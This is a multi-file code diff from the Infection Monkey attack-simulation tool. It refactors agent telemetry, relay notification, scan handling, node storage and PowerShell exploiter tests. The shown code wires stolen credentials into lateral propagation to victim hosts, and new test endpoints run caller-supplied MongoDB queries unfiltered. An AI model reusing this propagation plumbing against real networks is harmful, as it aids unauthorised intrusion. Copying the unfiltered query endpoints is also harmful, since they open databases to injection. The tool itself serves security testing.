@ -83,6 +80,9 @@ from infection_monkey.puppet.puppet import Puppet
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
ExploitInterceptingTelemetryMessenger,
)
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
LegacyTelemetryMessengerAdapter, LegacyTelemetryMessengerAdapter,
) )
@ -278,11 +278,15 @@ class InfectionMonkey:
victim_host_factory = self._build_victim_host_factory(local_network_interfaces) victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
self._telemetry_messenger, self._relay
)
self._master = AutomatedMaster( self._master = AutomatedMaster(
self._current_depth, self._current_depth,
servers, servers,
puppet, puppet,
self._telemetry_messenger, telemetry_messenger,
victim_host_factory, victim_host_factory,
self._control_channel, self._control_channel,
local_network_interfaces, local_network_interfaces,
@ -302,14 +306,13 @@ class InfectionMonkey:
): ):
agent_event_queue.subscribe_type( agent_event_queue.subscribe_type(
CredentialsStolenEvent, CredentialsStolenEvent,
add_stolen_credentials_to_propagation_credentials_repository( add_credentials_from_event_to_propagation_credentials_repository(
propagation_credentials_repository propagation_credentials_repository
), ),
) )
agent_event_queue.subscribe_all_events( agent_event_queue.subscribe_all_events(
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
) )
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
def _build_puppet( def _build_puppet(
self, self,

View File

@ -3,8 +3,6 @@ import select
import socket import socket
import struct import struct
import sys import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes from infection_monkey.network.info import get_routes
@ -15,7 +13,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
""" """
Checks if a given TCP port is open Checks if a given TCP port is open
:param ip: Target IP :param ip: Target IP
@ -28,7 +26,7 @@ def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_bann
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:
sock.connect((str(ip), port)) sock.connect((ip, port))
except socket.timeout: except socket.timeout:
return False, None return False, None
except socket.error as exc: except socket.error as exc:
@ -53,7 +51,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port) return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> Optional[str]: def get_interface_to_target(dst: str) -> str:
""" """
:param dst: destination IP address string without port. E.G. '192.168.1.1.' :param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'

View File

@ -0,0 +1,41 @@
from functools import singledispatch
from ipaddress import IPv4Address
from infection_monkey.network.relay import TCPRelay
from infection_monkey.telemetry.exploit_telem import ExploitTelem
from infection_monkey.telemetry.i_telem import ITelem
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
class ExploitInterceptingTelemetryMessenger(ITelemetryMessenger):
def __init__(self, telemetry_messenger: ITelemetryMessenger, relay: TCPRelay):
self._telemetry_messenger = telemetry_messenger
self._relay = relay
def send_telemetry(self, telemetry: ITelem):
_send_telemetry(telemetry, self._telemetry_messenger, self._relay)
# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or
# later.
@singledispatch
def _send_telemetry(
telemetry: ITelem,
telemetry_messenger: ITelemetryMessenger,
relay: TCPRelay,
):
telemetry_messenger.send_telemetry(telemetry)
@_send_telemetry.register
def _(
telemetry: ExploitTelem,
telemetry_messenger: ITelemetryMessenger,
relay: TCPRelay,
):
if telemetry.propagation_result is True:
if relay:
address = IPv4Address(str(telemetry.host["ip_addr"]))
relay.add_potential_user(address)
telemetry_messenger.send_telemetry(telemetry)

View File

@ -1,5 +1,4 @@
from pathlib import PurePath from typing import List, Optional
from typing import List, Optional, Union
from infection_monkey.config import GUID from infection_monkey.config import GUID
from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64
@ -10,9 +9,7 @@ DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX
DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64
def build_monkey_commandline( def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str:
servers: List[str], depth: int, location: Union[str, PurePath, None] = None
) -> str:
return " " + " ".join( return " " + " ".join(
build_monkey_commandline_explicitly( build_monkey_commandline_explicitly(
@ -28,7 +25,7 @@ def build_monkey_commandline_explicitly(
parent: Optional[str] = None, parent: Optional[str] = None,
servers: Optional[List[str]] = None, servers: Optional[List[str]] = None,
depth: Optional[int] = None, depth: Optional[int] = None,
location: Union[str, PurePath, None] = None, location: Optional[str] = None,
) -> List[str]: ) -> List[str]:
cmdline = [] cmdline = []

View File

@ -5,8 +5,8 @@ from typing import Union
from typing_extensions import TypeAlias from typing_extensions import TypeAlias
from common.agent_events import PingScanEvent, TCPScanEvent from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import PortStatus, SocketAddress from common.types import PortStatus
from monkey_island.cc.models import CommunicationType, Machine, Node from monkey_island.cc.models import CommunicationType, Machine
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
IAgentRepository, IAgentRepository,
IMachineRepository, IMachineRepository,
@ -56,10 +56,8 @@ class ScanEventHandler:
try: try:
target_machine = self._get_target_machine(event) target_machine = self._get_target_machine(event)
source_node = self._get_source_node(event)
self._update_nodes(target_machine, event) self._update_nodes(target_machine, event)
self._update_tcp_connections(source_node, target_machine, event)
except (RetrievalError, StorageError, UnknownRecordError): except (RetrievalError, StorageError, UnknownRecordError):
logger.exception("Unable to process tcp scan data") logger.exception("Unable to process tcp scan data")
@ -75,14 +73,6 @@ class ScanEventHandler:
self._machine_repository.upsert_machine(machine) self._machine_repository.upsert_machine(machine)
return machine return machine
def _get_source_node(self, event: ScanEvent) -> Node:
machine = self._get_source_machine(event)
return self._node_repository.get_node_by_machine_id(machine.id)
def _get_source_machine(self, event: ScanEvent) -> Machine:
agent = self._agent_repository.get_agent_by_id(event.source)
return self._machine_repository.get_machine_by_id(agent.machine_id)
def _update_target_machine_os(self, machine: Machine, event: PingScanEvent): def _update_target_machine_os(self, machine: Machine, event: PingScanEvent):
if event.os is not None and machine.operating_system is None: if event.os is not None and machine.operating_system is None:
machine.operating_system = event.os machine.operating_system = event.os
@ -95,14 +85,6 @@ class ScanEventHandler:
src_machine.id, target_machine.id, CommunicationType.SCANNED src_machine.id, target_machine.id, CommunicationType.SCANNED
) )
def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent): def _get_source_machine(self, event: ScanEvent) -> Machine:
tcp_connections = set() agent = self._agent_repository.get_agent_by_id(event.source)
open_ports = (port for port, status in event.ports.items() if status == PortStatus.OPEN) return self._machine_repository.get_machine_by_id(agent.machine_id)
for open_port in open_ports:
socket_address = SocketAddress(ip=event.target, port=open_port)
tcp_connections.add(socket_address)
if tcp_connections:
self._node_repository.upsert_tcp_connections(
src_node.machine_id, {target_machine.id: tuple(tcp_connections)}
)

View File

@ -31,6 +31,8 @@ from monkey_island.cc.resources import (
from monkey_island.cc.resources.AbstractResource import AbstractResource from monkey_island.cc.resources.AbstractResource import AbstractResource
from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt
from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint
from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint
from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import (
TelemetryBlackboxEndpoint, TelemetryBlackboxEndpoint,
) )
@ -205,6 +207,8 @@ def init_restful_endpoints(api: FlaskDIWrapper):
# API Spec: Fix all the following endpoints, see comments in the resource classes # API Spec: Fix all the following endpoints, see comments in the resource classes
# Note: Preferably, the API will provide a rich feature set and allow access to all of the # Note: Preferably, the API will provide a rich feature set and allow access to all of the
# necessary data. This would make these endpoints obsolete. # necessary data. This would make these endpoints obsolete.
api.add_resource(MonkeyBlackboxEndpoint)
api.add_resource(LogBlackboxEndpoint)
api.add_resource(TelemetryBlackboxEndpoint) api.add_resource(TelemetryBlackboxEndpoint)

View File

@ -1,45 +1,19 @@
import json
from ipaddress import IPv4Interface from ipaddress import IPv4Interface
from typing import Any, Dict, Mapping, Optional, Sequence from typing import Optional, Sequence
from pydantic import Field, validator from pydantic import Field, validator
from common import OperatingSystem from common import OperatingSystem
from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig from common.base_models import MutableInfectionMonkeyBaseModel
from common.transforms import make_immutable_sequence from common.transforms import make_immutable_sequence
from common.types import HardwareID, NetworkService, SocketAddress from common.types import HardwareID
from . import MachineID from . import MachineID
def _serialize_network_services(machine_dict: Dict, *, default):
machine_dict["network_services"] = {
str(addr): val for addr, val in machine_dict["network_services"].items()
}
return json.dumps(machine_dict, default=default)
class Machine(MutableInfectionMonkeyBaseModel): class Machine(MutableInfectionMonkeyBaseModel):
"""Represents machines, VMs, or other network nodes discovered by Infection Monkey""" """Represents machines, VMs, or other network nodes discovered by Infection Monkey"""
class Config(MutableInfectionMonkeyModelConfig):
json_dumps = _serialize_network_services
@validator("network_services", pre=True)
def _socketaddress_from_string(cls, v: Any) -> Any:
if not isinstance(v, Mapping):
# Let pydantic's type validation handle this
return v
new_network_services = {}
for addr, service in v.items():
if isinstance(addr, SocketAddress):
new_network_services[addr] = service
else:
new_network_services[SocketAddress.from_string(addr)] = service
return new_network_services
id: MachineID = Field(..., allow_mutation=False) id: MachineID = Field(..., allow_mutation=False)
"""Uniquely identifies the machine within the island""" """Uniquely identifies the machine within the island"""
@ -61,9 +35,6 @@ class Machine(MutableInfectionMonkeyBaseModel):
hostname: str = "" hostname: str = ""
"""The hostname of the machine""" """The hostname of the machine"""
network_services: Mapping[SocketAddress, NetworkService] = Field(default_factory=dict)
"""All network services found running on the machine"""
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)( _make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(
make_immutable_sequence make_immutable_sequence
) )

View File

@ -1,15 +1,13 @@
from typing import Dict, FrozenSet, Mapping, Tuple from typing import FrozenSet, Mapping
from pydantic import Field from pydantic import Field
from typing_extensions import TypeAlias from typing_extensions import TypeAlias
from common.base_models import MutableInfectionMonkeyBaseModel from common.base_models import MutableInfectionMonkeyBaseModel
from common.types import SocketAddress
from . import CommunicationType, MachineID from . import CommunicationType, MachineID
NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]] NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]]
TCPConnections: TypeAlias = Dict[MachineID, Tuple[SocketAddress, ...]]
class Node(MutableInfectionMonkeyBaseModel): class Node(MutableInfectionMonkeyBaseModel):
@ -26,6 +24,3 @@ class Node(MutableInfectionMonkeyBaseModel):
connections: NodeConnections connections: NodeConnections
"""All outbound connections from this node to other machines""" """All outbound connections from this node to other machines"""
tcp_connections: TCPConnections = {}
"""All successfull outbound TCP connections"""

View File

@ -2,7 +2,6 @@ from abc import ABC, abstractmethod
from typing import Sequence from typing import Sequence
from monkey_island.cc.models import CommunicationType, MachineID, Node from monkey_island.cc.models import CommunicationType, MachineID, Node
from monkey_island.cc.models.node import TCPConnections
class INodeRepository(ABC): class INodeRepository(ABC):
@ -26,15 +25,6 @@ class INodeRepository(ABC):
:raises StorageError: If an error occurs while attempting to upsert the Node :raises StorageError: If an error occurs while attempting to upsert the Node
""" """
@abstractmethod
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
"""
Add TCP connections to Node
:param machine_id: Machine ID of the Node that made the connections
:param tcp_connections: TCP connections made by node
:raises StorageError: If an error occurs while attempting to add connections
"""
@abstractmethod @abstractmethod
def get_nodes(self) -> Sequence[Node]: def get_nodes(self) -> Sequence[Node]:
""" """
@ -44,15 +34,6 @@ class INodeRepository(ABC):
:raises RetrievalError: If an error occurs while attempting to retrieve the nodes :raises RetrievalError: If an error occurs while attempting to retrieve the nodes
""" """
@abstractmethod
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
"""
Fetches network Node from the database based on Machine id
:param machine_id: ID of a Machine that Node represents
:return: network Node that represents the Machine
:raises UnknownRecordError: If the Node does not exist
"""
@abstractmethod @abstractmethod
def reset(self): def reset(self):
""" """

View File

@ -5,8 +5,7 @@ from pymongo import MongoClient
from monkey_island.cc.models import CommunicationType, MachineID, Node from monkey_island.cc.models import CommunicationType, MachineID, Node
from ..models.node import TCPConnections from . import INodeRepository, RemovalError, RetrievalError, StorageError
from . import INodeRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError
from .consts import MONGO_OBJECT_ID_KEY from .consts import MONGO_OBJECT_ID_KEY
UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node" UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node"
@ -21,14 +20,19 @@ class MongoNodeRepository(INodeRepository):
self, src: MachineID, dst: MachineID, communication_type: CommunicationType self, src: MachineID, dst: MachineID, communication_type: CommunicationType
): ):
try: try:
node = self.get_node_by_machine_id(src) node_dict = self._nodes_collection.find_one(
{SRC_FIELD_NAME: src}, {MONGO_OBJECT_ID_KEY: False}
)
except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
if node_dict is None:
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
else:
node = Node(**node_dict)
updated_node = MongoNodeRepository._add_connection_to_node( updated_node = MongoNodeRepository._add_connection_to_node(
node, dst, communication_type node, dst, communication_type
) )
except UnknownRecordError:
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
self._upsert_node(updated_node) self._upsert_node(updated_node)
@ -46,19 +50,6 @@ class MongoNodeRepository(INodeRepository):
return new_node return new_node
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
try:
node = self.get_node_by_machine_id(machine_id)
except UnknownRecordError:
node = Node(machine_id=machine_id, connections={})
for target, connections in tcp_connections.items():
if target in node.tcp_connections:
node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections})
else:
node.tcp_connections[target] = connections
self._upsert_node(node)
def _upsert_node(self, node: Node): def _upsert_node(self, node: Node):
try: try:
result = self._nodes_collection.replace_one( result = self._nodes_collection.replace_one(
@ -67,20 +58,18 @@ class MongoNodeRepository(INodeRepository):
except Exception as err: except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
if result.matched_count != 0 and result.modified_count != 1:
raise StorageError(
f'Error updating node with source ID "{node.machine_id}": Expected to update 1 '
f"node, but {result.modified_count} were updated"
)
if result.matched_count == 0 and result.upserted_id is None: if result.matched_count == 0 and result.upserted_id is None:
raise StorageError( raise StorageError(
f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 ' f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 '
f"node, but no nodes were inserted" f"node, but no nodes were inserted"
) )
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
node_dict = self._nodes_collection.find_one(
{SRC_FIELD_NAME: machine_id}, {MONGO_OBJECT_ID_KEY: False}
)
if not node_dict:
raise UnknownRecordError(f"Node with machine ID {machine_id}")
return Node(**node_dict)
def get_nodes(self) -> Sequence[Node]: def get_nodes(self) -> Sequence[Node]:
try: try:
cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False}) cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False})

View File

@ -0,0 +1,20 @@
from bson import json_util
from flask import request
from monkey_island.cc.database import database, mongo
from monkey_island.cc.resources.AbstractResource import AbstractResource
from monkey_island.cc.resources.request_authentication import jwt_required
class LogBlackboxEndpoint(AbstractResource):
# API Spec: Rename to noun, BlackboxTestsLogs or something
urls = ["/api/test/log"]
@jwt_required
def get(self):
find_query = json_util.loads(request.args.get("find_query"))
log = mongo.db.log.find_one(find_query)
if not log:
return {"results": None}
log_file = database.gridfs.get(log["file_id"])
return {"results": log_file.read().decode()}

View File

@ -0,0 +1,16 @@
from bson import json_util
from flask import request
from monkey_island.cc.database import mongo
from monkey_island.cc.resources.AbstractResource import AbstractResource
from monkey_island.cc.resources.request_authentication import jwt_required
class MonkeyBlackboxEndpoint(AbstractResource):
# API Spec: Rename to noun, BlackboxTestsMonkeys or something
urls = ["/api/test/monkey"]
@jwt_required
def get(self, **kw):
find_query = json_util.loads(request.args.get("find_query"))
return {"results": list(mongo.db.monkey.find(find_query))}

File diff suppressed because it is too large Load Diff

View File

@ -77,7 +77,7 @@
"classnames": "^2.3.1", "classnames": "^2.3.1",
"core-js": "^3.18.2", "core-js": "^3.18.2",
"crypto-js": "^4.1.1", "crypto-js": "^4.1.1",
"d3": "^7.6.1", "d3": "^5.14.1",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"file-saver": "^2.0.5", "file-saver": "^2.0.5",

View File

@ -1,54 +0,0 @@
from ipaddress import IPv4Address
from unittest.mock import MagicMock
from uuid import UUID
import pytest
from common.agent_events import PropagationEvent
from infection_monkey.agent_event_handlers import notify_relay_on_propagation
from infection_monkey.network.relay import TCPRelay
TARGET_ADDRESS = IPv4Address("192.168.1.10")
SUCCESSFUL_PROPAGATION_EVENT = PropagationEvent(
source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"),
target=TARGET_ADDRESS,
tags=frozenset({"test"}),
success=True,
exploiter_name="test_exploiter",
)
FAILED_PROPAGATION_EVENT = PropagationEvent(
source=UUID("f811ad00-5a68-4437-bd51-7b5cc1768ad5"),
target=TARGET_ADDRESS,
tags=frozenset({"test"}),
success=False,
exploiter_name="test_exploiter",
error_message="everything is broken",
)
@pytest.fixture
def mock_tcp_relay():
return MagicMock(spec=TCPRelay)
def test_relay_notified_on_successful_propation(mock_tcp_relay):
handler = notify_relay_on_propagation(mock_tcp_relay)
handler(SUCCESSFUL_PROPAGATION_EVENT)
mock_tcp_relay.add_potential_user.assert_called_once_with(TARGET_ADDRESS)
def test_relay_not_notified_on_successful_propation(mock_tcp_relay):
handler = notify_relay_on_propagation(mock_tcp_relay)
handler(FAILED_PROPAGATION_EVENT)
mock_tcp_relay.add_potential_user.assert_not_called()
def test_handler_doesnt_raise_if_relay_is_none():
handler = notify_relay_on_propagation(None)
# Raises AttributeError on failure
handler(SUCCESSFUL_PROPAGATION_EVENT)

View File

@ -3,10 +3,10 @@ from uuid import UUID
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, Password, Username from common.credentials import Credentials, Password, Username
from infection_monkey.agent_event_handlers import ( from infection_monkey.credential_repository import (
add_stolen_credentials_to_propagation_credentials_repository, IPropagationCredentialsRepository,
add_credentials_from_event_to_propagation_credentials_repository,
) )
from infection_monkey.credential_repository import IPropagationCredentialsRepository
credentials = [ credentials = [
Credentials( Credentials(
@ -25,7 +25,7 @@ credentials_stolen_event = CredentialsStolenEvent(
def test_add_credentials_from_event_to_propagation_credentials_repository(): def test_add_credentials_from_event_to_propagation_credentials_repository():
mock_propagation_credentials_repository = MagicMock(spec=IPropagationCredentialsRepository) mock_propagation_credentials_repository = MagicMock(spec=IPropagationCredentialsRepository)
fn = add_stolen_credentials_to_propagation_credentials_repository( fn = add_credentials_from_event_to_propagation_credentials_repository(
mock_propagation_credentials_repository mock_propagation_credentials_repository
) )

View File

@ -16,7 +16,6 @@ LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"] bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"]
VICTIM_IP = "10.10.10.1"
mock_agent_binary_repository = MagicMock() mock_agent_binary_repository = MagicMock()
@ -24,25 +23,7 @@ mock_agent_binary_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EX
@pytest.fixture @pytest.fixture
def host_with_ip_address(http_and_https_both_enabled_host): def powershell_arguments(http_and_https_both_enabled_host):
http_and_https_both_enabled_host.ip_addr = VICTIM_IP
return http_and_https_both_enabled_host
@pytest.fixture
def http_host_with_ip_address(http_only_host):
http_only_host.ip_addr = VICTIM_IP
return http_only_host
@pytest.fixture
def https_host_with_ip_address(https_only_host):
https_only_host.ip_addr = VICTIM_IP
return https_only_host
@pytest.fixture
def powershell_arguments(host_with_ip_address):
options = { options = {
"credentials": { "credentials": {
"exploit_user_list": USER_LIST, "exploit_user_list": USER_LIST,
@ -52,12 +33,12 @@ def powershell_arguments(host_with_ip_address):
}, },
} }
arguments = { arguments = {
"host": host_with_ip_address, "host": http_and_https_both_enabled_host,
"servers": bogus_servers, "servers": bogus_servers,
"options": options, "options": options,
"current_depth": 2, "current_depth": 2,
"telemetry_messenger": MagicMock(), "telemetry_messenger": MagicMock(),
"agent_event_queue": MagicMock(), "event_queue": MagicMock(),
"agent_binary_repository": mock_agent_binary_repository, "agent_binary_repository": mock_agent_binary_repository,
"interrupt": threading.Event(), "interrupt": threading.Event(),
} }
@ -82,10 +63,8 @@ def test_powershell_disabled(powershell_exploiter, powershell_arguments, powersh
assert "disabled" in exploit_result.error_message assert "disabled" in exploit_result.error_message
def test_powershell_http( def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host):
monkeypatch, powershell_exploiter, powershell_arguments, http_host_with_ip_address powershell_arguments["host"] = http_only_host
):
powershell_arguments["host"] = http_host_with_ip_address
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
monkeypatch.setattr( monkeypatch.setattr(
@ -98,7 +77,7 @@ def test_powershell_http(
assert not call_args[0][2].ssl assert not call_args[0][2].ssl
def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments): def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host):
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))
mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client)
@ -212,11 +191,11 @@ def test_build_monkey_execution_command():
def test_skip_http_only_logins( def test_skip_http_only_logins(
monkeypatch, powershell_exploiter, powershell_arguments, https_host_with_ip_address monkeypatch, powershell_exploiter, powershell_arguments, https_only_host
): ):
# Only HTTPS is enabled on the destination, so we should never try to connect with "" empty # Only HTTPS is enabled on the destination, so we should never try to connect with "" empty
# password, since connection with empty password requires SSL == False. # password, since connection with empty password requires SSL == False.
powershell_arguments["host"] = https_host_with_ip_address powershell_arguments["host"] = https_only_host
mock_powershell_client = MagicMock() mock_powershell_client = MagicMock()
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))

View File

@ -0,0 +1,62 @@
from unittest.mock import MagicMock
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
from infection_monkey.model.host import VictimHost
from infection_monkey.telemetry.exploit_telem import ExploitTelem
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
ExploitInterceptingTelemetryMessenger,
)
class MockExploitTelem(ExploitTelem):
def __init__(self, propagation_success):
erd = ExploiterResultData()
erd.propagation_success = propagation_success
super().__init__("TestExploiter", VictimHost("127.0.0.1"), erd)
def get_data(self):
return {}
def test_generic_telemetry(TestTelem):
mock_telemetry_messenger = MagicMock()
mock_relay = MagicMock()
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(TestTelem())
assert mock_telemetry_messenger.send_telemetry.called
assert not mock_relay.add_potential_user.called
def test_propagation_successful_exploit_telemetry():
mock_telemetry_messenger = MagicMock()
mock_relay = MagicMock()
mock_exploit_telem = MockExploitTelem(True)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(mock_exploit_telem)
assert mock_telemetry_messenger.send_telemetry.called
assert mock_relay.add_potential_user.called
def test_propagation_failed_exploit_telemetry():
mock_telemetry_messenger = MagicMock()
mock_relay = MagicMock()
mock_exploit_telem = MockExploitTelem(False)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
mock_telemetry_messenger, mock_relay
)
telemetry_messenger.send_telemetry(mock_exploit_telem)
assert mock_telemetry_messenger.send_telemetry.called
assert not mock_relay.add_potential_user.called

View File

@ -3,7 +3,7 @@ from unittest.mock import MagicMock
import pytest import pytest
from infection_monkey.agent_event_handlers.agent_event_forwarder import BatchingAgentEventForwarder from infection_monkey.agent_event_forwarder import BatchingAgentEventForwarder
from infection_monkey.island_api_client import IIslandAPIClient from infection_monkey.island_api_client import IIslandAPIClient
SERVER = "1.1.1.1:9999" SERVER = "1.1.1.1:9999"

View File

@ -1,4 +1,3 @@
from copy import deepcopy
from ipaddress import IPv4Address, IPv4Interface from ipaddress import IPv4Address, IPv4Interface
from itertools import count from itertools import count
from unittest.mock import MagicMock from unittest.mock import MagicMock
@ -10,7 +9,7 @@ from common import OperatingSystem
from common.agent_events import PingScanEvent, TCPScanEvent from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import PortStatus, SocketAddress from common.types import PortStatus, SocketAddress
from monkey_island.cc.agent_event_handlers import ScanEventHandler from monkey_island.cc.agent_event_handlers import ScanEventHandler
from monkey_island.cc.models import Agent, CommunicationType, Machine, Node from monkey_island.cc.models import Agent, CommunicationType, Machine
from monkey_island.cc.repository import ( from monkey_island.cc.repository import (
IAgentRepository, IAgentRepository,
IMachineRepository, IMachineRepository,
@ -30,60 +29,43 @@ SOURCE_MACHINE = Machine(
hardware_id=5, hardware_id=5,
network_interfaces=[IPv4Interface("10.10.10.99/24")], network_interfaces=[IPv4Interface("10.10.10.99/24")],
) )
TARGET_MACHINE_ID = 33
TARGET_MACHINE_IP = "10.10.10.1"
TARGET_MACHINE = Machine( TARGET_MACHINE = Machine(
id=TARGET_MACHINE_ID, id=33,
hardware_id=9, hardware_id=9,
network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")], network_interfaces=[IPv4Interface("10.10.10.1/24")],
)
SOURCE_NODE = Node(
machine_id=SOURCE_MACHINE.id,
connections=[],
tcp_connections={
44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50))
},
) )
PING_SCAN_EVENT = PingScanEvent( PING_SCAN_EVENT = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address(TARGET_MACHINE_IP), target=IPv4Address("10.10.10.1"),
response_received=True, response_received=True,
os=OperatingSystem.LINUX, os=OperatingSystem.LINUX,
) )
PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent( PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address(TARGET_MACHINE_IP), target=IPv4Address("10.10.10.1"),
response_received=False, response_received=False,
os=OperatingSystem.LINUX, os=OperatingSystem.LINUX,
) )
PING_SCAN_EVENT_NO_OS = PingScanEvent( PING_SCAN_EVENT_NO_OS = PingScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address(TARGET_MACHINE_IP), target=IPv4Address("10.10.10.1"),
response_received=True, response_received=True,
os=None, os=None,
) )
TCP_SCAN_EVENT = TCPScanEvent( TCP_SCAN_EVENT = TCPScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address(TARGET_MACHINE_IP), target=IPv4Address("10.10.10.1"),
ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED}, ports={22: PortStatus.OPEN, 8080: PortStatus.CLOSED},
) )
TCP_CONNECTIONS = {
TARGET_MACHINE_ID: (
SocketAddress(ip=TARGET_MACHINE_IP, port=22),
SocketAddress(ip=TARGET_MACHINE_IP, port=80),
)
}
TCP_SCAN_EVENT_CLOSED = TCPScanEvent( TCP_SCAN_EVENT_CLOSED = TCPScanEvent(
source=AGENT_ID, source=AGENT_ID,
target=IPv4Address(TARGET_MACHINE_IP), target=IPv4Address("10.10.10.1"),
